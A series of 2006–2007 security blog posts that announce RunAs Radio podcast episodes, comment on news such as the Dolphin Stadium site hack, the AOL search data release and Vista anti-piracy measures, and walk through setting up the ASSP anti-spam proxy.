RunAs Radio Show #13 | 7/4/2007 (34 minutes)
Jeff Sigman Gives Us Network Access Protection

The final installment of interviews from Microsoft Tech Ed US 2007 in Orlando, Richard and Greg talk to Jeff Sigman, the Release Manager for Network Access Protection (NAP). Jeff digs into exactly what NAP is all about, how it interact with Windows Server 2008, Vista and Windows XP.

Links: RunAs Radio web site and RSS feed

As always, we welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear more about as we book our guests.

Identity and Access Management (often referred to by identity geeks as IAM) is a field I have come to know and love. There's been a resurgence in the past few years in this space, brought on by a number of builders of critical mass. One of those drivers, in the financial services industry, was some "guidance" issued by the FFIEC (United States federal government agency that regulates banks) in 2005 that requires banks to use stronger authentication for online banking services (better than just user name and password). In addition, the general discomfort across all industries that use the Internet as a true platform for doing business has become a motivator, especially in the wake of multiple news cycles about fraud and data theft. In a nutshell, The Internet is a technology platform that is being used for something it was not originally architected to do, and as a result there are some critical gaps from a technology perspective - especially in the area of security. Many defensive "point" solutions have been cobbled together over the years to plug holes in the metaphorical levee, but at some point you have to start thinking about either building some serious reinforcements or - quite possibly - building a whole new dam to serve the needs.

Over the past couple years the open source community, Microsoft, and a number of other companies large and small have embarked on a bit of a shared crusade (and a good one, at that) to first redefine and then re-architect identity on the Internet, how it works and what the principles are that guide and drive Identity going forward. It's been a rare and refreshing community effort, and as a result we are starting to see some real-world traction in markets like financial services; Interest is growing outside the circle of academics and programmers that are implementing the new systems. Interoperability is being seen as critical and that's likely the one things that will drive success. And while we can design a great system that can solve all the world's ills, adoption is the second-to-final gauge of success in this case (longevity and strength are the final-final determining factor, but we can't truly get there without meaningful and across-the-industry adoption).

One of the architects of this whole concept in redefining and improving Identity on the Internet is Kim Cameron. He writes the Identity Blog (worth a subscription if you're not already there) and was the publishing author of his "Laws of Identity," or what he refers to as "the missing layer of the Internet." I had the good fortune to play host to Kim and his compadre, Rich Turner (both work for Microsoft) when they spoke at a security conference I hosted a couple months ago. They discussed identity in general as well as CardSpace, Microsoft's effort in the larger community effort to add this missing layer to the Internet schema.

Richard Turner is the Product Manager for Microsoft's Identity Platform Developer Marketing group and owns Windows CardSpace Product Management there. While at the Microsoft TechEd conference in Orlando a few weeks back, I found him and pulled him aside for about 45 minutes to chat with Richard Campbell and me for the RunAs radio show we do each week. You can hear the interview here:

RunAs Radio Show #12 | 6/27/2007 (47 minutes)
Richard Turner Checks Our Identity

Another Tech Ed US 2007 interview from Orlando, Richard and Greg sit down with Richard Turner and discuss how CardSpace impacts the IT professional. CardSpace (formerly code-named "InfoCard") is a key technology in Microsoft's Identity Platform.

Links: RunAs Radio web site and RSS feed

As always, we welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear more about as we book our guests.

In my line of work, we spend a lot of our time writing software that catches bad guys and keeps them out of systems that require protection. So, in the course of building good security and forensics software I often work closely with partner companies that bring something valuable to the table - technology that we might include or integrate with but would not build ourselves. One of the technology areas that adds value to what we do is the business of Internet Protocol (IP) address intelligence and geolocation. The ability to glean a variety of valuable information about any given IP address or block provides the opportunity for both intelligent and - if the partner does their job well - reliable decision making, in a manner not otherwise possible. Imagine your application being able to present information or make decisions based on the actual physical location of a user, or base don the type of connection they are making. In the case of the software I've been involved with creating, IP intelligence is a key capability that helps to enhance the products.

So, for last week's RunAs Radio interview, we sat down with an expert in the field, Bill Varga, who works for a company out of Mountain View, California called Quova - one of the partners I have worked with for a few years now. They do IP geolocation and IP intelligence - and that's their business. They're focused on that market and they're very good at it. IP intelligence is a world that is growing quickly and always generates ideas and thought when brought up for discussion. The applications of IP-related metadata are many, and Bill effectively describes them in our interview. He also discusses some of the new things Quova is doing in the field.

RunAs Radio Show #11 | 6/20/2007 (38 minutes)
Bill Varga Makes Us IP Intelligent

Richard and Greg talk to Bill Varga about what IP (that's Internet Protocol) Intelligence is all about. They also dig into how IP geolocation helps with regulatory compliance and fraud detection. Bill also talks about the new technology Quova (his employer) has developed that can deal with geolocation of satellite and megaproxy IP addresses.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear about as we book our guests.

eWeek has a good summary in their article "Analysts: iPhone Has Neither Security nor Relevance" with a number of links to other resources of the likely security problems introduced by (of not in - we'll see) the iPhone. Certainly the iPhone is not the only device where we have to worry about these types of problems, but let's face it: iPods and other mass storage devices are already too loosely allowed at many companies and organizations, and the hype surrounding the iPhone and the potential excitement of iPod owners can cloud judgement. Read Andrew Storm's article on the topic.

In contrast, Blackberry's enterprise services are well-secured and provide a whole slew of workable and effective controls that the iPhone can't even begin to match up with. In a nutshell, the iPhone is a consumer device that probably doesn't belong in the enterprise - at least not in it's first version. Gartner plans to recommend businesses keep the iPhone out of the enterprise.

Also - sounds like typing on the on-screen keyboard is an index-finger exercise, not for thumb typers. So again, not so much an enterprise device. But we'll see all this stuff for ourselves in just a few days. The iPhone debuts on June 29th.

Note: I think the iPhone is a cool looking device and probably a great consumer item. I'm not knocking the device for consumers, just pointing out it's not appropriate for use in the enterprise. So before anyone starts with "iPhone/Apple-Hater" rhetoric, you can just stop. :)

The FBI is contacting more than one million computer owners and operators whose computers have been victimized and taken over by fraudsters and other criminals who have installed "bots" which they then use to launch distributed criminal computer attacks and fraud scams.

“The majority of victims are not even aware that their computer has been compromised or their personal information exploited,” said FBI Assistant Director for the Cyber Division James Finch. “An attacker gains control by infecting the computer with a virus or other malicious code and the computer continues to operate normally. Citizens can protect themselves from botnets and the associated schemes by practicing strong computer security habits to reduce the risk that your computer will be compromised.”

So, if the FBI calls you might want to cooperate. But - exercise some common sense and a little caution: if you get a call or contact, be sure to confirm it's actually the FBI. The classic technique used by scammers is to take commonly used communication methods and closely mirror or duplicate them in order to make you think you're providing sensitive data to a legitimate business or agency, when in fact it's the bad guy in disguise. So verify, verify, verify.

The FBI press release is here. Snipped from the press release, an important warning about being wary of potential malicious information requests:

"The FBI will not contact you online and request your personal information so be wary of fraud schemes that request this type of information, especially via unsolicited emails. To report fraudulent activity or financial scams, contact the nearest FBI office or police department, and file a complaint online with the Internet Crime Complaint Center, www.ic3.gov."

RunAs Radio Show Number Ten is now online. While at Tech Ed US 2007 in Orlando last week, we sat down to chat with Isaac Roybal for the RunAs audio podcast, a Microsoft Product Manager on the Windows Server team working on the next version of Internet Information Services - IIS7.

Put simply, IIS7 includes a large number of significant improvements and enhancements for both developers and for the IT pros and hosting providers that have to implement, support, secure and maintain the servers. Tons of great information and interaction around IIS7 is available at the new community web site, IIS.NET. Many of the improvements and changes to IIS are listed on that site, as well. You can download Windows Server Beta 3 and go live with IIS7 now, and Microsoft has a program for doing so. If nothing else, you should be starting your lab work so you can plan, get familiar and see what the future of IIS holds.

RunAs Radio Show #10 | 6/13/2007 (41 minutes)
Isaac Roybal Shows Us IIS7

Isaac Roybal is a Product Manager on the Windows Server team who is deeply involved in Web Workload, especially IIS 7. Isaac digs into the details of the new management features in IIS 7, now available as part of Windows Server 2008 Beta 3. His responsibilities cover all things Web related with Windows Server and has been involved with IT for over ten years. Five of those years have been with Microsoft.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear about as we book our guests.

Catching up on announcing a few new RunAs RunAs Radio shows that I've neglected to mention here over the past couple weeks. We publish a new episode each and every Wednesday. The show has been live since mid-April and it's been pleasantly surprising to see how quickly it's taken off!

Anyhow - RunAs Radio Shows 7, 8 and 9 are now online. Discussions in these shows include disk and file encryption and the TrueCrypt open source software, Public Key Infrastructure (PKI) and what it means to you as an IT professional, and Microsoft Operations Manager (MOM) 2007, a great tool for managing and monitoring your enterprise, whether small or large.

• Show #9: Eric Marvets Talks TrueCrypt! (published 6/6/2007)
• Show #8: Brian Komar Talks PKIs (published 5/27/2007)
• Show #7: Rory McCaw on MOM 2007 (published 5/23/2007)

Links: RunAs Radio web site and RSS feed

We always welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read (and answer) your email "on the air," and we are always interested to know what you would like to hear about as we book our guests.

I just arrived in Florida this evening for TechEd, so I am catching up on some news, and found this at BetaNews.com. It's good news in the "let's make effective security easier and better" category:

At TechEd 2007 this morning, Microsoft's senior vice president Bob Muglia generated the biggest applause of the day (not related to the Christopher Lloyd cameo) by announcing the new Server Core installation option in the forthcoming Windows Server 2008 will have as one of its ready-made "roles" the ability to rapidly appropriate Internet Information Services in a command-line-only environment.

The Server Core option allows you to run Windows Server without all the fancy Windows stuff - I other words, it's truly bare-bones and includes only what you really need.

UPDATE: On the TechEd floor today I learned that the "server core" implementation of IIS7 won't support ASP.NET applications - just HTML and ASP type stuff. Hopefully ASP.NET will be an option in the future.

From Microsoft, here is a description of the concepts behind the Server Core installation option:

The Server Core installation option of the Microsoft Windows Server 2008 operating system is a new option for installing Windows Server 2008. A Server Core installation provides a minimal environment for running specific server roles that reduces the maintenance and management requirements and the attack surface for those server roles.

The Server Core installation option of Windows Server 2008 provides the following benefits:

• Reduced maintenance - Because a Server Core installation installs only what is required to have a manageable DHCP, File, Print, DNS, Media Services, AD LDS, or Active Directory server, less maintenance is required.
• Reduced attack surface - Because Server Core installations are minimal, fewer services and applications run on the server, thereby decreasing the attack surface.
• Reduced management - Because fewer applications and services are installed on a server running the Server Core installation, there is less to manage.
• Less disk space required - A Server Core installation only requires about 1 gigabyte (GB) of disk space to install and approximately 2 GB for operations after the installation.

You can keep up to date with the Server Core team's efforts on their blog, and participate in the Server Core TechNet forum.

Reference Link: TechEd 2007: IIS7 to Become Seventh Server Core Role

RunAs Radio Show Number Four is now online. Richard and I speak with Simon Goldstein, who (it just so happens) works with me and is a good friend. Simon has a depth of knowledge and expertise that sets him apart in the areas of risk management, compliance and a variety of other topics. In this interview we discussed the compliance and security world and how it applies to practical IT. Simon distills a lot of broad topics down into the nuts and bolts, so pretty much anyone can understand how compliance works and why it's important:

RunAs Radio Show #4 | 5/2/2007 (44 minutes)
Simon Goldstein on Compliance

Simon Goldstein talks to Richard and Greg about making sense out of compliance with rules and regulations around Information Technology.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas - Just email info@runasradio.com and let us know what's on your mind! We  are always looking to know what you would like to hear about as we book our guests.

I'm playing host in mid-May at my company's annual Security Summit, and thought you might be interested. It's geared toward people who have technical and operational security as a part of what they are charged with professionally, and the sessions will have a financial services slant. There are a couple days left to sign up, so if you might be interested then either act quickly or let me know of any questions. We'd be glad to have security professionals attending.

Among the activities and sessions, we will be talking ISO 27001 certification and standards, hacking and investigating violated web servers in order to see both sides of the game, practical exercises around dealing with security incidents, sessions on identity management and CardSpace (Kim Cameron from Microsoft will keynote), Mobile banking and related security, and much more. Plus some great fun activities in the area.

The summit itself is free-of-charge for participants. You just pick up the cost of travel and hotel. An agenda is located here that also includes hotel information (the conference hotel block expires on Friday this week), and of course I am glad to answer any questions.

We already have a great list of attendees and participants, so if it's also of interest to you I hope you'll check it out!

So, Carl let us know this morning that in the first two weeks of RunAs Radio, there have been 13,588 downloads - a figure that pleasantly surprised me - Pretty exciting!

And we're keeping at it: RusAs Radio Show Number Three is now online. Richard and I spoke with Dana Epp of Scorpion Software about CardSpace and the future of access management and authentication:

RunAs Radio Show #3 | 4/22/2007 (35 minutes)
Dana Epp talks CardSpace on the Client-Side

Richard and Greg speak to Microsoft Security MVP Dana Epp about Microsoft's CardSpace initiative for secure authentication. They hint at another show focusing on the server side.

Links: RunAs Radio web site and RSS feed

We welcome your input and ideas - Just email info@runasradio.com and let us know what's on your mind! We have a couple good shows coming up in the next weeks, and are always wanting to know what you would like to hear about as we book our guests.

If you happen to be at the RSA security conference in San Francisco this week, get in touch and hopefully we can meet up sometime. I'm here through Thursday doing a bunch of media briefings and whatnot (for work) and (whenever I can) attending sessions. My cell number is in the right sidebar, or email me (greg-greghughes-dot-net).

Bad guys are not stupid. What the lack in morals they sometimes make up for in creativity and smarts. That's why they can be so dangerous. Think like a bad guy: If you wanted to find a way to take advantage of a large public event in order to gain fraudulent access to thousands (or more) individual computers so you could install keystroke logging software and trojan software to allow you to grow your rogue bot network, what would you do?

Well if it was today, maybe you'd think to yourself, "Hey the Superbowl is this weekend. Let's set up a fake site and trick people into going there with an email and screw 'em all over."

Or, if you were smarter, you'd just take over the server that houses the site for Dolphins Stadium.

If this doesn't tell you why you should be focused on security, then what does?

The news item is here, and an advisory with a description is here.

The official Web site of Dolphin Stadium, home of Sunday’s Super Bowl XLI, has been hacked and seeded with exploit code targeting two known Windows security flaws.

In the attack, which was discovered by malware hunters at Websense Security Labs, the server hosting the site was breached and a link to a malicious JavaScript file was inserted into the header of the front page of the site. Visitors to the site execute the script, which attempts to exploit the vulnerabilities.

According to Dan Hubbard, senior director, security and technology research at Websense, the malicious site hosting the script has been taken offline by law enforcement officials but the hacked Dolphin Stadium site — which is attracting a lot of Super Bowl-related traffic — is still hosting the malicious JavaScript.

A visitor to the site with an unpatched Windows machine will connect to a remote server registered to a nameserver in China and download a Trojan keylogger/backdoor that gives the attacker “full access to the compromised computer,” Hubbard said.

Oy. What's it gonna take??

I recently moved the greghughes.net domain (web site, mail and everything else) to a godaddy.com virtual dedicated server. In doing so, I lost the anti-spam services that were previously provided by my old web host. Needless to say, the resulting load of spam was fairly overwhelming. My prior host had an appliance out front that caught the better part of the junk email headed for my email server, but a fair amount still got through. At any rate, the move and resulting lack of junk mail protection necessitated a thoughtful look at the options out there.

My criteria were as follows:

1. Needs to be software I can run myself. I've had my fun (yeah, that's sarcasm) with expensive services that are not overly effective. Complicated billing, archaic payment systems (invoices without a dollar amount? what?) and a couple hundred bucks or more a year was not for me.
2. Preferably open-source. Nothing solves problems that plague the community like the members of the community, so I figured there must be something out there that the afflicted masses build and maintain.
3. It had to stop spam, not just identify and tag it. My email server (MailEnable) is already capable of detecting and "flagging" emails as spam, but that doesn't stop it from getting to my mail server in the first place. The goal was to prevent, not react. So I was looking for a gateway-like solution - something that receives all the inbound email, checks it, and forwards on only the good stuff.
4. It needs to learn how to act. Static rules don't work. We see it in the fraud world, and it certainly applies to spam battles, as well. The system has to be able to learn and adapt and operate in the context of my email accounts.
5. It needs to be kept current. An open source project that no one has worked on for six months or more is likely a dead project, and that won't get you anywhere in a world where the landscape changes constantly. Spammers change tactics a lot, and the tools to prevent spam have to evolve to keep pace.

I did a bit of research, and frankly I came up with very little that met all my criteria. Sure, there are a whole slew of commercial products out there, but as I said before, I was looking for open source and free (or very close to it). I'm not looking to buy.

The one thing I found that truly seemed to fit the bill was ASSP, which stands for Anti-Spam SMTP Proxy. It's an open source, Perl-based gateway application that you can run on any operating system that supports the Perl interpreted language (which is pretty much all of them). It requires Perl v5.8 and a specific set of Perl modules, and it can be run as a daemon/service. ASSP has been updated about every two months in the recent past, with the most recent update having been in December (as of the time of this writing).

"The ASSP server project is an Open Source platform-independent transparent SMTP proxy server that leverages numerous methodologies and technologies to both rigidly and adaptively identify spam."

I quickly downloaded the ASSP files, installed the necessary Perl modules and was on my way. I had the ASSP service up and running within just about 15 or 20 minutes. Note that to get the app to run as a service, you will need to manually edit the config file and set the flag in there to specify that you want to run it as a service, or else the only way you'll be able to get it to start is on the command line. Alternatively, you can start ASSP from the command line, access the web admin interface, and change the setting there. Once you do so, you'll be able to start the Windows service or run the daemon in Linux or whatever OS you're working with.

The first thing I did after getting the service set up was to access the web administrative interface and change the default admin password. Do that first. Please. Then I put all of the anti-spam options into "training" mode and I specified a few of the basic server settings (like my domain and email account). I set it up to accept all inbound connections for email (SMTP) from the Internet on port 25, and to forward all emails that are determined not to be spam to the MailEnable server on another (unused) port. Since the MailEnable SMTP server is on the same host, the configuration and security setup was pretty simple. Of course, I them spent some considerable time looking through the many, many settings available. It's cool stuff, but you don't have to tackle it all right up front.

It's worth mentioning here that the ASSP wiki has a lot of good information about setting you system up. Be sure to refer to that resource. If you do, you can be up and running in no time. If you don't, you might just wish you had. Remember, always read the freakin' manual before you ask questions. Heh.

The training mode actually results in all email being delivered (not blocked), but it adds some header information to the email which you can read if you like in order to determine whether or not the ASSP system is flagging it as spam. I actually set up my Thunderbird client with a rule to look for the ASSP header and if the spam flag was true, to move the email off to another folder.

What you are supposed to do during this training period is to categorize the good and bad email, and in doing so tell the ASSP service how to treat the email it sees coming in. I used the email interface for submitting spam and good mail to ASSP for about a week before I turned training mode off. Reporting is very easy. I specified two email aliases in the ASSP system, such as spam-no@greghughes.net and spam-yes@greghughes.net (those are not the actual addresses of course) and on a regular basis forwarded groups of email back to the ASSP service that fit into each category. In fact, I even went back into my archive of valid email from before installing ASSP and forwarded a bunch of it to the system, so it could quickly learn what valid email looks like in my world. Your learning period will probably be about a week or so, or however long it takes you to gather 400 or more spam emails along with some some good, valid email.

Once you've provided the system with a corpus of good and bad email, you run a little Perl script on the server to update the Bayesian spam detection database, which is the adaptive learning part of the system. I did this a few times - about daily - throughout the first week. With each update the system got smarter and smarter. Once spam email was being very effectively categorized by ASSP, I switched the system from learning mode into normal operating mode and also configured ASSP to forward a copy of all spam emails it receives to a separate email account (say something like allspam@yourdomain.com). In doing so I have created a place for the system to provide me with all the spam email so that I can continue to peruse it when I feel like it in order to make sure nothing gets trapped in there as a false positive. But my main email account is spam-free. Initially I found a few valid emails were ending up being categorized as spam, but all I had to do was to forward those to the email error reporting interface mentioned above and then rebuild the database, and now for the past few days I have seen zero false positives. I intend to continue to check that account now and then, just to ensure I don't miss any critical email. It's a quick and easy process, especially since all the spam that is blocked by the system as a result of coming from known spammer sources (RBL lists) never even makes it into the system. So, I'm just weeding through the small remainder of the stuff that the system analyzes and weeds out in the second phase of its analysis.

Here is what the service has done for my email account since I turned it on about 12 days ago:

General Runtime Information

ASSP Proxy Uptime:
12.232 days

Messages Processed:
2297 (187.8 per day)

Non-Local Mail Blocked (percentage of email that is spam):
87.5%

CPU Usage:
0.27% avg

That's 288 valid emails and 2009 blocked as spam. As I said at the beginning, a bit overwhelming for only one email account in the mix, and obviously quite necessary to do something about it.

I still need to do some small amount of work to make sure the service stays up and running from a high-availability standpoint, and in fact I have that minor issue with not only the ASSP service but also a couple other email services and even the IIS service. Resource constraints seem to play havoc now and then on my virtual server, but I think I have managed to get a handle on that.

For anyone that's looking to put an anti-spam proxy in place for your own mail server, I most definitely recommend checking out ASSP and giving it a try. Download it here (use the most recent stable version). Or check out the ASSP Wiki, which contains documentation, the FAQ, and everything else you can think of. A high-level list of features can also be found on the ASSP home page at SourceForge.

In May, the National Security Agency (yes, that one) published a guide in PDF form (818KB PDF file) called "The 60 Minute Network Security Guide - First Steps Towards a Secure Network Environment."

It's good stuff. Sure, it's not a 100% guide to everything you need to know and do, but it covers the bases quite well. Some have balked at the complex password and rotation requirements and made the requisite "that won't work in the real world" noise, but those of us who actually do operate in the real world know it can be done and that 90 days is a bad number (it's too long IMO, and lacks usability - it should be either 84 or 42 days). Sure, a few people will complain (it's human nature and it takes all kinds), but the vast majority are more than happy to do their part. Don't let the vocal few chase you away from what is proven over and over to be right.

There are always good and effective ways to accomplish goal while meeting requirements: For example, the use of passphrases instead of regular passwords makes complex, long passwords a cinch, and all it takes is about 5 minutes of user education to show people how well it can work (use your all-hands meetings and you'll be amazed what you'll get accomplished in a short period).

Read the guide, use it, and you'll be better off. A variety of other security configuration guides from the NSA can be found here. There are more than 80 guides covering server and client operating systems, network infrastructure, database platforms, and more.

(via lifehacker.com)

MS has released v6 of it's Remote Desktop Connection client.

Remote Desktop Connection (Terminal Services Client 6.0) provides a way to use any new Terminal Services features introduced in Microsoft Windows Vista and Microsoft Windows Server Code Name “Longhorn” from a computer running Microsoft Windows XP with Service Pack 2 or Microsoft Windows Server 2003 with Service Pack 1.

The features in this release are really about Vista and Longhorn server for the most part. But, one feature that works in XP while connecting to Windows Server 2003 (and I was prompted to do this by default after upgrading, by the way) is the option to provide the username and password in the client before logging on, and the option to save that information so you don't have to re-enter it each time (not sure I like that specific idea for security purposes, but it has its place, and there are several security enhancements when connecting to Vista and Longhorn server).

Download it from Microsoft here. Read the KB article here (which includes links to versions for OSes other than 32-bit XP, as well).

(via Omar)

Well, honestly, it's about time.

Bloggers are all over the story, and are espousing a variety of opinions, but I have wondered for years when Microsoft would finally crack down on software thieves and simply not allow their software to run unless it was legitimately licensed. I'm responsible for cutting a big check each year to Microsoft to pay for the software we use at the company I work at. It costs me more, in effect, because others are taking without paying.

So, Windows Vista will detect piracy and take action. In Microsoft's words:

"Collectively termed the Microsoft Software Protection Platform, the new technologies will introduce improvements in how Microsoft software activates, is validated online and behaves when tampering or hacking is detected."

Thinking about this from a security guy's perspective, one thing bothers me: Turning off the anti-malware capabilities on unlicensed copies? Are you kidding me? That means the rest of the world falls victim to everyone out there that's running pirated Windows? Please, please, please change this one - Microsoft might be a victim, but no need to invite the rest of the world into that club. And it looks like Richi Jennings agrees with me on that one. That's just poor prioritization. Hopefully someone will rethink the approach in that specific area...

Elsewhere, Ed Bott at ZDNet has written a very good piece describing the changes and his thoughts on the matter. He has some important point, ones that Microsoft should make sure they have thought completely through and have a plan for - especially where it comes to Volume License customers. Those are the people you don't want to aggravate, for sure.

Among Bott's comments:

Microsoft denies that this is a "kill switch" for Windows Vista, even giving it a separate question and answer in its mock interview announcing the program. Technically, they're right, I suppose. Switching a PC into a degraded functionality where all you can do is browse the Internet doesn't kill it; but it's arguably a near-death experience. The accompanying white paper describes the experience in more detail:

By choosing "Access your computer with reduced functionality," the default Web browser will be started and the user will be presented with an option to purchase a new product key. There is no start menu, no desktop icons, and the desktop background is changed to black. The Web browser will fully function and Internet connectivity will not be blocked. After one hour, the system will log the user out without warning. It will not shut down the machine, and the user can log back in. Note: This is different from the Windows XP RFM experience, which limits screen resolution, colors, sounds and other features. [emphasis added]

My head practically exploded when I read this sentence describing the new, improved punishment regimen: "Windows Vista will have a reduced functionality mode but one that is enhanced." Enhanced reduced functionality? Orwell would be proud.

Snarky as ever, Engadget reports:

Well, Microsoft has fired the first salvo in this war on pirates -- according to The Associated Press, the Redmond crew will be taking "much harsher steps to curtail piracy" than in years past. First, the company will "deny access" to some of the "most anticipated features," including Windows Aero, the new GUI. Then, Vista will start issuing ransom demands (we're not kidding about this part), demanding that a legitimate copy be bought within 30 days, or else. What would such consequences entail? How about limiting Web access to an hour at a time? Further, what about not being able to open documents from the desktop or "run other programs such as Outlook e-mail software" ? However, the article goes on to say: "Microsoft said it won't stop a computer running pirated Vista software from working completely, and it will continue to deliver critical security updates." So for those of you keeping score, Microsoft wants to make using your computer as miserable as possible, while keeping it as "safe" as possible, ok?

People out there will whine and complain and say it's not fair, that it's all a bunch of red tape and people will be inconvenienced (and they might be right about that one point), and a million other things that go along with the typical victim mentality (sorry guys, but possession of stolen goods is illegal, even if it's inconvenient, and possessing stolen stuff unknowingly doesn't make the goods any less stolen). And Microsoft needs to make sure that legitimate users are not impacted in a truly meaningful and workable way. But the fact of the matter is that Microsoft is right on this one. In fact, it seems to me that if I ran a company that created software for use by consumers and businesses, and if I wanted to make sure it was being legitimately used and paid for, I'd just keep it from working at all if it was obviously stolen.

But the politics of huge-mega-corporation-attacked-by-angry-mob is a multi-billion-dollar business, apparently.

Glad to see they're finally doing something about it, though.

Some Techmeme-tracked discussion on the topic:

• Matt Hickey / CrunchGear: Microsoft Readies Vista for Piracy Wars
• Jordan Running / Download Squad: Microsoft threatens to cripple pirated Vista PCs
• Cisco Cheng / Gearlog: Windows Vista: Reduced Functionality Mode
• Chron.Com / TechBlog: May I see your Windows license and registration, ma'am?
• Jack Schofield / Guardian Unlimited: Microsoft's Software Protection Platform — WGA will get tougher
• Computerworld Blogs blogs: Vista's SPP: bastard child of WPA and WGA? (and geek wallets)
• Ed Bott / Ed Bott's Microsoft Report: For Vista, WGA gets tougher

My job is all about catching bad guys, building great software to help do that, protecting information, and a variety of similar things. the company I work for builds software than somewhere around a third of the country uses in some manner to conduct financial transaction on the Internet, so the topic of security is important to me.

I'm regularly participating these days in interviews with members of the media, and recently one resulting story was published that I thought did a nice job of covering the bases regarding security in financial services and the human elements. What has to be recognized in order to succeed in this fight is that the user is not predictable, accountable or reliable. It's the truth, it's important to know, and it's a fact we have to plan for and design into our security models.

Read the story here: Finance on Windows - "For Your Eyes Only"

"You really don't want to go there today..."

It's a bug zapper for web browsing. It's a cool idea. How it will be secured and made solid I am not sure, but this is good news and a positive step toward solving zero-day exploits and quite possibly many vulnerabilities on unpatched browsers in the future.

Microsoft Research is working on something they call BrowserShield, which will allow Internet Explorer to detect malicious code and rewrite it, then displaying the cleaned version of any static or dynamic page in the browser to the end user.

From eWeek:

Researchers at the Redmond, Wash., company have completed work on a prototype framework called BrowserShield that promises to allow IE to intercept and remove, on the fly, malicious code hidden on Web pages, instead showing users safe equivalents of those pages.

"We basically intercept the Web page, inject our logic and transform the page that is eventually rendered on the browser," Wang said. "We're inserting our layer of code at run-time to make the Web page safe for the end user."

More on eWeek.com

Tags: IE, Internet Explorer, BrowserShield, Microsoft, Security, Malware, Scripts, Hack

Still using Office 2000? Note that it's about seven years old and two versions have been released since then (with one more coming soon). Here's another good reason to stay up to date...

From ZDNet:

An "extremely critical flaw" in Microsoft Word 2000 is currently being exploited by malicious attackers, which could lead to remote execution of code on a user's system, security researcher Secunia advised Tuesday...

...Microsoft has not yet issued a patch for the vulnerability, and users are advised to forgo opening untrusted documents.

Proof that cyber-crime is real, Consumer Reports is out with their State of the Net survey. It's pretty much as bad as we all know. From MSNBC:

"...American consumers lost more than $8 billion over the last two years to viruses, spyware and various schemes.

" Additionally, it shows consumers face a 1-in-3 chance of becoming a cybervictim -about the same as last year."

Thing is, prevention is much less costly than reactively paying for damage already done. You want to prevent the guy from getting into your place? Or do you prefer to let him in but then keep him from walking out the door with your money? Or are you like most people, who are resigned to watching him walk out the door with the prize, throwing your hands up in the air, and blaming someone (anyone, really) else?

How do we convince people, and what will it take?

---

UPDATE - AOL apologizes (not as if it makes a difference at this point, though):

"This was a screw-up, and we're angry and upset about it. It was an innocent enough attempt to reach out to the academic community with new research tools, but it was obviously not appropriately vetted, and if it had been, it would have been stopped in an instant," AOL, a unit of Time Warner, said in a statement. "Although there was no personally identifiable data linked to these accounts, we're absolutely not defending this. It was a mistake, and we apologize. We've launched an internal investigation into what happened, and we are taking steps to ensure that this type of thing never happens again."

---

AOL, over on their research wiki site, on Sunday posted an article describing their release of search data collected for more than a half million AOL users over a three month period. They claimed the data was made "anonymous," and that it was being released for research reasons. Problem is, it's not anonymous enough. Each unique user was replaced with a unique random identifier. That means you can see everything that user 336072 searched for. What if someone examined everything you searched for over three months? Even without knowing your name explicitly, do you think they might be able to find out some interesting things? Have you ever done a "vanity" search?

It's just not anonymous enough. I have a copy of the data that I downloaded before it was taken offline, and I've poked around in it a bit, so I know. Not only that, but spammers and search engine "optimizers" out there are going to have a field-freakin-day with this data. No, I won't share it with anyone else. It never should have been released in the first place, so I am not going to add fuel to the fire.

Michael Arrington at TechCrunch wrote about it in his blog entry entitled "AOL Proudly Releases Massive Amounts of Private Data," and updated his post a couple times as AOL mysteriously removed the data file from the web, as well as the page announcing the availability.

Arrington: "AOL must have missed the uproar over the DOJ's demand for "anonymized" search data last year that caused all sorts of pain for Microsoft and Google. That's the only way to explain their release of data that includes 20 million web queries from 650,000 AOL users."

When you consider that AOL search is - get this one - actually Google's search with a different face on it, you can imagine what the emails and phone calls that went flying around between the two companies on Sunday afternoon might have sounded like. Ouch.

Yeah, and so much for the privacy of AOL's users. If you're an AOL user, is that what you signed up for, to be a guinea pig in AOL's poorly-planned foray into academia? I think not. This is identity theft just waiting to happen, that's what this is. Again from Arrington:

"The data includes personal names, addresses, social security numbers and everything else someone might type into a search box. The most serious problem is the fact that many people often search on their own name, or those of their friends and family, to see what information is available about them on the net. Combine these ego searches with porn queries and you have a serious embarrassment. Combine them with "buy ecstasy" and you have evidence of a crime. Combine it with an address, social security number, etc., and you have an identity theft waiting to happen. The possibilities are endless. "

Google says "do no evil" and keeps this kind of data under wraps when challenged in federal court. AOL? Not so much.

Any would-be AOL boycotters better be prepared, though. Last we checked, you can't even cancel your account at AOL without being put through the ringer. Several years ago when I canceled mine it was a several-months-long experience before I was able to decipher enough to get the billing truly stopped. Coming and going, that's how they get ya in Dulles... There's a reason PC Magazine ranked AOL "Number One" in a list of things you'd really rather not be on...

Technorati : AOL, privacy, private data, release

The U.S. Senate on Thursday ratified the first and only international treaty designed exclusively to combat computer crime. You can read the full text of the Council of Europe Convention on Cybercrime here.

What does this mean? Well, a lot of things. But all told, it means law enforcement officials from around the world will have a more agile, speedier, and more capable framework for cooperating in combating bad guys that are out to hurt others on the Internet. For those of us working to stop bad guys, it makes doing so more possible and can help remove some barriers that tend to get in the way. For those of us in the United States, the provisions are not really anything new. But for other countries that ratify, it means a much enhanced ability to work together.

The Senate did not consider an optional provision of the convention that deals with combating Internet hate speech, which would likely have run afoul of the First Amendment to the U.S. Constitution.

Summary of the Senate activity is in an article at news.com.

Technorati : cybercrime, fraud, treaty

This could be very bad... In a news.com article published Friday, a couple of security companies (it's the good guys this time, at least - but they are planning to present it at Black Hat this week...) discuss how they've discovered a way to use your web browser and its built-in JavaScript engine to access information and resources inside the network where the browser resides and send it off to someone else or to launch attacks that appear to come from inside the network. This may be the next big wave of attacks.

SPI Dynamics is one of the companies mentioned in the article. They're discussing the results of their research at the Black Hat event this week, but they have also posted the article and a sample ("proof of concept" as they say) web page that does some of what they've discovered for all to see, use... and copy for that matter.

SPI Dynamics, by the way, has a quality set of expert articles, white papers, webcasts, and more on their web site.

